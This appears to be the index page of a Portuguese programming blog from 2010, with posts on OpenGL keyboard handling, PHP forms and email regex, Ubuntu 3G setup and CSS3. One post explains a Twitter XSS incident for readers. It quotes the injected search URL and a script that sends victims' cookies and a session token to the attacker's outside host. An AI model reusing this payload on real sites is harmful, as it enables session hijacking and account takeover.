OpenGL: Show me the code!

28/09/2010 11:30 | OpenGL | Sem Comentários »

Buenas, alguns colegas pediram o código do meu jogo de corrida que fiz para a disciplina de OpenGL, então segue abaixo um copypasta totalmente sem edição depois do break!

Até peço desculpas, mas o código é longo, não organizado ou tampouco revisado/otimizado, e está bem pouco comentado.

Pretendo comentar alguns pontos que considero relevantes em posts separados por aqui (como o debug das bounding boxes – ver imagem ao lado).

Qualquer dúvida deixe comentário!

[]‘s

Leia Mais »


PHP: Introdução ao PHP

16/09/2010 10:23 | PHP | 1 Comentário »

Eis uma apresentação bem completa de introdução ao PHP, mais voltada a quem já tem algum conhecimento em programação. Ela foi feita por Bradley Holt e Matthew Weier O’Phinney.

Mais apresentações do autor aqui.
Vi aqui.

OpenGL: Remover delay do teclado

12/09/2010 14:30 | OpenGL | 1 Comentário »

Quando usamos funções de teclado no OpenGL há um atraso perceptível entre o tempo que seguramos uma tecla e o momento em que o objeto começa a se mover efetivamente. Mesmo assim, ao mover o objeto, eles parecem meio trancados, ou movimentando-se em quadro-a-quadro, repararam?

Bem, como as funções de callback glutKeyboardFunc e glutSpecialFunc são ativadas toda vez que o seu teclado envia o caractere, então este atraso nada mais é do que a taxa de repetição que o seu teclado está configurado. Aumentar a taxa de repetição do teclado? Não, né?

Para resolver isso, vamos conhecer um pequeno truque que irá utilizar duas outras funções de callback: glutKeyboardUpFunc e glutSpecialUpFunc.

Vamos nessa!

Leia Mais »


XSS: Script do “acidente do Pe Lanza” explicado

06/09/2010 18:50 | /dev/null | Sem Comentários »

Buenas, várias pessoas foram vítimas de um ataque de cross-site scripting (XSS) feito através do Twitter. Vejamos rapidamente como ele foi feito.

O tweet que estava circulando é esse (não use o link):

Pe Lanza da banda Restart sofre acidente tragico | http://bit.ly/d5Pho8

O link encurtado é o seguinte:

http://dev.twitter.com/search?query=%253C/script%253E%253Cscript src='//dgoh-codes.com/joseph/twitter/lol.js'%253E%253C/script%253E

Submetendo esta string no formulário de busca, o atacante conseguiu que este script fosse rodado na máquina das pessoas que clicaram:

window.onload=function(){
location.href='//dgoh-codes.com/joseph/twitter/?cookie='.concat(escape(document.cookie),'&token=',document.body.innerHTML.match(/value\', \'([^\']+)/i)[1]);
}

Este script pega o cookie e submete em um formulário já preparado pelo atacante, que utiliza o seu cookie como bem entender, e isso inclui retweetar mensagens dizendo que ídolos pré-adolescentes morreram.

O que fazer se você clicou?

  1. Deslogue do Twitter
  2. Limpe o Cache do seu navegador
  3. Exclua os cookies
  4. Logue outra vez
  5. Troque sua senha

Depois dessa eu também fiquei paranóico com links.

[]‘s


Ubuntu: Conectar 3G da Vivo

31/08/2010 10:58 | /dev/null | 1 Comentário »

Alguns atendentes da Vivo informaram que o 3G deles não funcionaria no Ubuntu.  Bastou uma pesquisa rápida para descobrir que o modem funcionaria instalando alguns pacotes. Resolvi testar e deu tudo certo!

O modelo do modem é  ZTE MF110 e os pacotes que instalei (32 bits) foram os seguintes:

Após instalar os pacotes, basta conectar o modem e aguardar. As opções de conexão móvel irão aparecer o ícone de conexões (perto do relógio), basta seguir as instruções na tela.

Espero que esta dica ajude também o suporte da Vivo.

(fontes: aqui e aqui)


PHP: Validar endereços de e-mail

30/08/2010 15:07 | PHP | Sem Comentários »

Uma função bem simples, rápida e eficiente:

function valida_email($_string){
	return eregi('^[a-zA-Z0-9._-]+@[a-zA-Z0-9._-]+\.([a-zA-Z]{2,4})$', $_string);
}

Tirinha do XKCD sobre Expressões RegularesVisualmente ela é um pouco assustadora, mas ela é bem simples. A função eregi verifica se uma string é válida através de uma expressão regular.

A expressão passada é a seguinte:

^[a-zA-Z0-9._-]+@[a-zA-Z0-9._-]+\.([a-zA-Z]{2,4})$

Vamos ver por partes o que cada uma delas faz:

  • ^[a-zA-Z0-9._-]: começa com um padrão composto por letras e/ou números, underlines hifens e pontos
  • +@[a-zA-Z0-9._-]: tem arroba e outro padrão de letras, números, underlines, hifens e pontos
  • +\.([a-zA-Z]{2,4})$: termina com uma combinação de duas a quatro letras

Esta função então irá testar a string submetida a cada uma destas regras que definimos, retornando falso caso qualquer uma delas não dê certo, ou verdadeiro se passar.

Expressões Regulares to the rescue!

Até a próxima!

Tags: ,


PHP: Passando uma matriz em um formulário

26/08/2010 18:05 | PHP | 1 Comentário »

Uma dica rápida e rasteira que já me salvou várias vezes: é possível nomear inputs com colchetes, sendo que o php irá reconhecer tudo como se fosse um vetor multidimensional ao tratar o request.

Quer testar? Use o seguinte código:

<html>
	<head>
		<title>V42 :: Passando uma matriz em um formulário</title>
	</head>
	<body>
		<pre><?php var_dump($_POST); ?></pre>
		<form method="post">
			<input type="text" name="foo[1][bar]" />
			<input type="text" name="foo[1][baz]" />
			<input type="text" name="foo[2][bar]" />
			<input type="text" name="foo[2][baz]" />
			<input type="submit" />
		</form>
	</body>
</html>

Clique aqui para ver ele rodando.

[]‘s


Como Remover o “Who To Follow” do Twitter

11/08/2010 14:30 | /dev/null | 5 Comentários »

WTF Twitter!É impressão minha ou ninguém curtiu o “Who To Follow” do Twitter?

Coincidentemente (ou não!) as iniciais deste recurso são “WTF”, que é exatamente a reação que tenho ao abrir a minha lista (“Mas que %$#@& !?”).

Para piorar a situação, não há nenhuma opção de desativar. Mas nem tudo está perdido!

Segue abaixo uma gambiarra um truque bem maroto para remover esta odiada lista.

Confira!

Leia Mais »

Tags:


CSS3: Animação Spiderman em CSS3

10/08/2010 11:17 | CSS3, HTML5, JQuery | Sem Comentários »

Vendo a animação de abertura do Spiderman de 1963,  Anthony Calzadilla resolveu refazê-la, em CSS3. Com a ajuda de um preloader em JQuery para trocar as cenas  e de uma tag de áudio em html5, ele conseguiu um resultado bem interessante.

Safari ou Chrome? Clique na imagem (ou aqui) para ver a animação. Caso você não tenha estes browsers instalados, é possível ver um vídeo da animação.

O artigo original, mostrando detalhes de como foi feito pode ser visto aqui.

Depois dessa até deu vontade de testar o CSS3! ;)

Tags: , ,


O Twitter está recrutando!

09/08/2010 21:09 | /dev/null | 1 Comentário »

Ao anunciar em mídias sociais, muitas agências esquecem de um pequeno detalhe: as pessoas não gostam de ver propagandas. Se isso não for bem dosado, o objetivo da campanha pode ir por água abaixo.

É tão admirável quando as pessoas tem o bom gosto de saber anunciar no meio de mídias sociais sem sufocar timelines, que até dá gosto de compartilhar. É o caso da campanha de recrutamento do Twitter. Simples, criativa e divertida. Confiram:

Até dá vontade de mostrar pros outros, não é mesmo? ;D